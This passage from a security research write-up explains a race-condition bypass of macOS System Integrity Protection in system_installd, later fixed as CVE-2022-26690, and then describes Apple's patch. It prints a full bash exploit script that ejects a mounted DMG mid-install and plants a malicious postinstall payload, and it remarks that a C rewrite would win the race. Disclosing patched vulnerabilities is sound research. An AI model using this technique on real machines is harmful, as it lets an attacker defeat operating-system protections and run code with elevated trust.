Diving into an Old Exploit Chain and Discovering 3 new SIP-Bypass Vulnerabilities
A new bypass appears
According to the aforementioned patch, we can see that if we can bypass the volume path check at line 81, then the system_installd service will spawn the script directly instead of resorting to the isolated XPC service.
The question then is, how can we bypass the volume path check? Through debugging, we found that the destination volume path returned at line 80 is an arbitrary mounted DMG volume path that we specified from the installer command line.
So what happens if we eject the DMG volume immediately before the check? Testing this inquiry, we found that it would return the root volume at line 80 and bypass the check at line 81 as expected.
Here is how the exploitation works using a bash script:
#!/bin/bash
echo “[*] preparing the payload…”
MOUNT_DIR=”/tmp/.exploit”
PAYLOAD_DIR=”$MOUNT_DIR/payload”
PAYLOAD_POST_PATH=”$PAYLOAD_DIR/postinstall”
PAYLOAD_PRE_PATH=”$PAYLOAD_DIR/preinstall”
mkdir -p “$PAYLOAD_DIR”
# create postinstall script
echo “#!/bin/bash” > “$PAYLOAD_POST_PATH”
echo $1 >> “$PAYLOAD_POST_PATH”
chmod +x “$PAYLOAD_POST_PATH”
# create preinstall script just to make the exploit more elegant
echo “#!/bin/bash” > “$PAYLOAD_PRE_PATH”
echo “echo ‘just a place holder, our payload is in the postinstall.'” >> “$PAYLOAD_PRE_PATH”
chmod +x “$PAYLOAD_PRE_PATH”
echo “[*] preparing the dmg mounting…”
hdiutil create -size 50m -volname .exploit -ov disk.dmg
hdiutil attach -mountpoint $MOUNT_DIR disk.dmg
sudo echo “[*] all the preparations are done.”
sudo installer -pkg $2 -target $MOUNT_DIR &
echo “[*] waiting for installer…”
while true ; do
target=`compgen -G “$MOUNT_DIR/.PKInstallSandboxManager-SystemSoftware/*/OpenPath*/Scripts/*/postinstall”`
if [ $target ]; then
#hdiutil detach $MOUNT_DIR
#detach is slow, kill the process will help us eject the dmg immediately, to win the race condition.
kill -9 `pgrep diskimages`
# re-create the scripts path and put our payload inside.
TARGET_DIR=”${target%’postinstall’}”
echo “[*] re-creating target path: $TARGET_DIR”
mkdir -p “$TARGET_DIR”
mv “$PAYLOAD_DIR/*” “$TARGET_DIR”
echo “[*] replaced target: $target”
break
fi
done
echo “[*] all done. enjoy :P”
Here’s how the exploit works:
- Before installing a PKG file, create a malicious post-install script and then mount a DMG volume
- Use the installer command to install an Apple-signed package to the DMG volume
- Monitor the file creation of the post-install script in the DMG volume
- Once found, eject the DMG volume immediately, and then recreate the same directory on the root volume
- Move the previously prepared payload script into the directory
- Wait for the payload script to be executed in a SIP-Bypass context
There is a small trick used in this exploit: the detach subcommand of hdiutil is too slow to win the race condition. The fastest way is to kill the diskimages-helper process directly.
The bash exploitation should have worked, but it failed. This is because the shell script is so slow, it always loses the race condition. However, rewriting the logic in C language would cause the script to work.
A new patch
Apple addressed the issue with CVE-2022-26690.
Before launching the package scripts, it will check whether the scripts directory is restricted (trusted). If not, it will use the safe and isolated XPC service to launch the script.
This logic works for three reasons:
- In a normal scenario, the scripts directory is restricted for Apple-signed packages. It is inside a restricted path, /Library/Apple/. Thus, the script inside can be trusted and will be spawned directly.
- If installed to a mounted DMG volume, the scripts directory is not restricted, even though it was created by the API, rootless_mkdir_restricted. So, the script inside a DMG volume is untrusted and should be launched by the isolated XPC service.
- If the DMG volume is ejected, the scripts directory will disappear. Even if the same path is created, it will not be restricted.